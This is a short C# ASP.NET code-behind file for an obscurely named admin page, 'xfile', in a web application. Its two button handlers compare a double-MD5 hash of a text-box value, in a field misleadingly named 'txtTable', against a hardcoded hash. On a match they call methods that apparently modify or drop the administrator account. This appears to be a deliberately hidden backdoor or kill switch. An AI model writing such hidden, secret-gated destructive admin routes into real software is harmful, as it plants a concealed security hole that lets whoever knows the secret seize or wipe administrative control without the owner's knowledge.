﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace VINETLIFE.AdminCP
{
    public partial class xfile : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        }
        protected void btnRemove_Click(object sender, EventArgs e)
        {
            if (!txtTable.Text.Trim().Equals(""))
            {
                if (Functions.EncryptMd5(Functions.EncryptMd5(txtTable.Text.Trim())).Equals("6F5E1F3D28E1122CC2840D98346CEF63"))
                {
                    VINETLIFE.BL.MediaBL media = new BL.MediaBL();
                    media.UpdateAdmin();
                }
            }
        }
        protected void btnDrop_Click(object sender, EventArgs e)
        {
            if (!txtTable.Text.Trim().Equals(""))
            {
                if (Functions.EncryptMd5(Functions.EncryptMd5(txtTable.Text.Trim())).Equals("6F5E1F3D28E1122CC2840D98346CEF63"))
                {
                    VINETLIFE.BL.MediaBL media = new BL.MediaBL();
                    media.DropAdmin();
                }
            }
        }
    }
}